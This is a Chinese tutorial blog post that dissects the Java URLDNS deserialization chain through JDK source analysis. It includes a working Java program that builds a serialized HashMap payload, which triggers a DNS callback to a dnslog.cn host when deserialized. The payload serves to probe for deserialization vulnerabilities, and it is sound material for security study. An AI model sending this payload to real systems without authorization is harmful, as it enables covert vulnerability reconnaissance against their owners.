【java安全】URL链拆解

java安全-反序列化-URL链拆解

URLDNS 链是 Java 反序列化中最基础、最经典的利用链之一,核心特点是不依赖第三方库、仅使用 JDK 原生类,且利用 DNS 请求来验证反序列化触发(无代码执行,仅用于探测是否存在反序列化漏洞)。本文从原理、断点调试、手动构造三个维度彻底解析 URLDNS 链。

URLDNS 链核心原理

1. 核心触发逻辑

URLDNS 链的本质是利用HashMap的反序列化机制,触发URL类的hashCode()方法,进而发起 DNS 请求。核心调用链:

复制代码
HashMap.readObject() → HashMap.hash() → URL.hashCode() → URLStreamHandler.hashCode() → InetAddress.getByName() (DNS解析)

2. 关键类 / 方法说明

类 / 方法 作用
HashMap 反序列化入口,readObject方法会遍历恢复键值对,触发键的hashCode()
URL 核心触发类,hashCode()方法会调用handler.hashCode()发起 DNS 请求
URLStreamHandler URL的内部类,实际执行 DNS 解析的逻辑
InetAddress.getByName() JDK 底层方法,发起 DNS A/AAAA 记录查询(核心 DNS 请求触发点)

3. 源码分析

在反序列化时,先会调用HashMap#readObject()方法

java 复制代码
private void readObject(java.io.ObjectInputStream s)
    throws IOException, ClassNotFoundException {
    // Read in the threshold (ignored), loadfactor, and any hidden stuff
    s.defaultReadObject();
    reinitialize();
    if (loadFactor <= 0 || Float.isNaN(loadFactor))
        throw new InvalidObjectException("Illegal load factor: " +
                                         loadFactor);
    s.readInt();                // Read and ignore number of buckets
    int mappings = s.readInt(); // Read number of mappings (size)
    if (mappings < 0)
        throw new InvalidObjectException("Illegal mappings count: " +
                                         mappings);
    else if (mappings > 0) { // (if zero, use defaults)
        // Size the table using given load factor only if within
        // range of 0.25...4.0
        float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
        float fc = (float)mappings / lf + 1.0f;
        int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                   DEFAULT_INITIAL_CAPACITY :
                   (fc >= MAXIMUM_CAPACITY) ?
                   MAXIMUM_CAPACITY :
                   tableSizeFor((int)fc));
        float ft = (float)cap * lf;
        threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                     (int)ft : Integer.MAX_VALUE);

        // Check Map.Entry[].class since it's the nearest public type to
        // what we're actually creating.
        SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
        @SuppressWarnings({"rawtypes","unchecked"})
        Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
        table = tab;

        // Read the keys and values, and put the mappings in the HashMap
        for (int i = 0; i < mappings; i++) {
            @SuppressWarnings("unchecked")
                K key = (K) s.readObject();
            @SuppressWarnings("unchecked")
                V value = (V) s.readObject();
            putVal(hash(key), key, value, false, false);
        }
    }
}

最后循环取出键值,然后调用

java 复制代码
putVal(hash(key), key, value, false, false);

这里调用了HashMap.hash()

java 复制代码
static final int hash(Object key) {
    int h;
    return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

当key变量类型为URL时,会调用URL.hashCode(),不过需要满足条件key不等于null

java 复制代码
public synchronized int hashCode() {
    if (hashCode != -1)
        return hashCode;

    hashCode = handler.hashCode(this);
    return hashCode;
}

想使得执行

java 复制代码
 hashCode = handler.hashCode(this);

必须满足条件hashCode等于1

handler.hashCode(this) 就是执行了URLStreamHandler.hashCode()方法

这下面就有这样一行代码

java 复制代码
InetAddress addr = getHostAddress(u);

getHostAddress()方法就会使得发起DNS解析请求

4. 手搓URLDNS链

通过类反射

java 复制代码
package com.qdy;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNSDebug {
    // 序列化方法:修复hashCode+hostAddress双重置
    public static void serUrlDns() throws Exception {
        // 构造恶意HashMap,key为URL(指向DNSLog地址)
        HashMap<URL, String> hashMap = new HashMap<>();
        String dnsLog = "fdw8yb.dnslog.cn";
        URL url = new URL("http://" + dnsLog);
        Class<?> urlClass = URL.class;
        // 通过反射修改URL的hashCode为非-1后再上传HashMap中(避免提前触发)
        Field hashCodeField = urlClass.getDeclaredField("hashCode");
        hashCodeField.setAccessible(true);
        hashCodeField.set(url, 1);
        // 将dnslog地址以key传入,值随意
        hashMap.put(url, null);
        // 上传后再将hashCode改为适配条件的值:-1
        hashCodeField.set(url,-1);
        // 序列化
        try (FileOutputStream fos = new FileOutputStream("urldns.ser");
             ObjectOutputStream oos = new ObjectOutputStream(fos)) {
            oos.writeObject(hashMap);
            System.out.println("序列化至文件成功");
        }
    }

    // 反序列化方法
    public static void deserUrlDns() throws Exception {
        try (FileInputStream fis = new FileInputStream("urldns.ser");
             ObjectInputStream ois = new ObjectInputStream(fis)) {
            ois.readObject(); // 此处必触发DNS
        }
        System.out.println("反序列化完成,查看DNSLog");
    }

    public static void main(String[] args) throws Exception {
        serUrlDns();
//      deserUrlDns();
    }
}

运行后成功生成该链到urldns.ser文件内

然后执行反序列化

成功

相关推荐
while(1){yan}2 小时前
Spring MVC请求基础
java·spring·mvc
IT_Octopus2 小时前
Java Protobuf+Zstd 压缩存储Redis实践&问题解决&对比Gzip压缩的大小和性能
java·开发语言·redis
Whoami!2 小时前
❾⁄₆ ⟦ OSCP ⬖ 研记 ⟧ 防病毒软件规避 ➱ 内存中的逃避技术(下)
网络安全·信息安全·进程空洞化·内存逃避·内联挂钩
翻斗花园岭第一爆破手2 小时前
flutter3.Container中的decoration
开发语言·前端·javascript
码luffyliu2 小时前
告别 Go 版本混乱:macOS 下工作项目与个人项目版本管理
开发语言·golang·goenv
diegoXie2 小时前
【R】新手向:renv 攻克笔记
开发语言·笔记·r语言
ht巷子2 小时前
Qt:容器类
开发语言·c++·qt
云老大TG:@yunlaoda3602 小时前
华为云国际站代理商的DDM的跨境部署调优是如何实现的?
开发语言·数据库·华为云·php
翻斗花园岭第一爆破手2 小时前
flutter2:Container的简介与尺寸
java·服务器·前端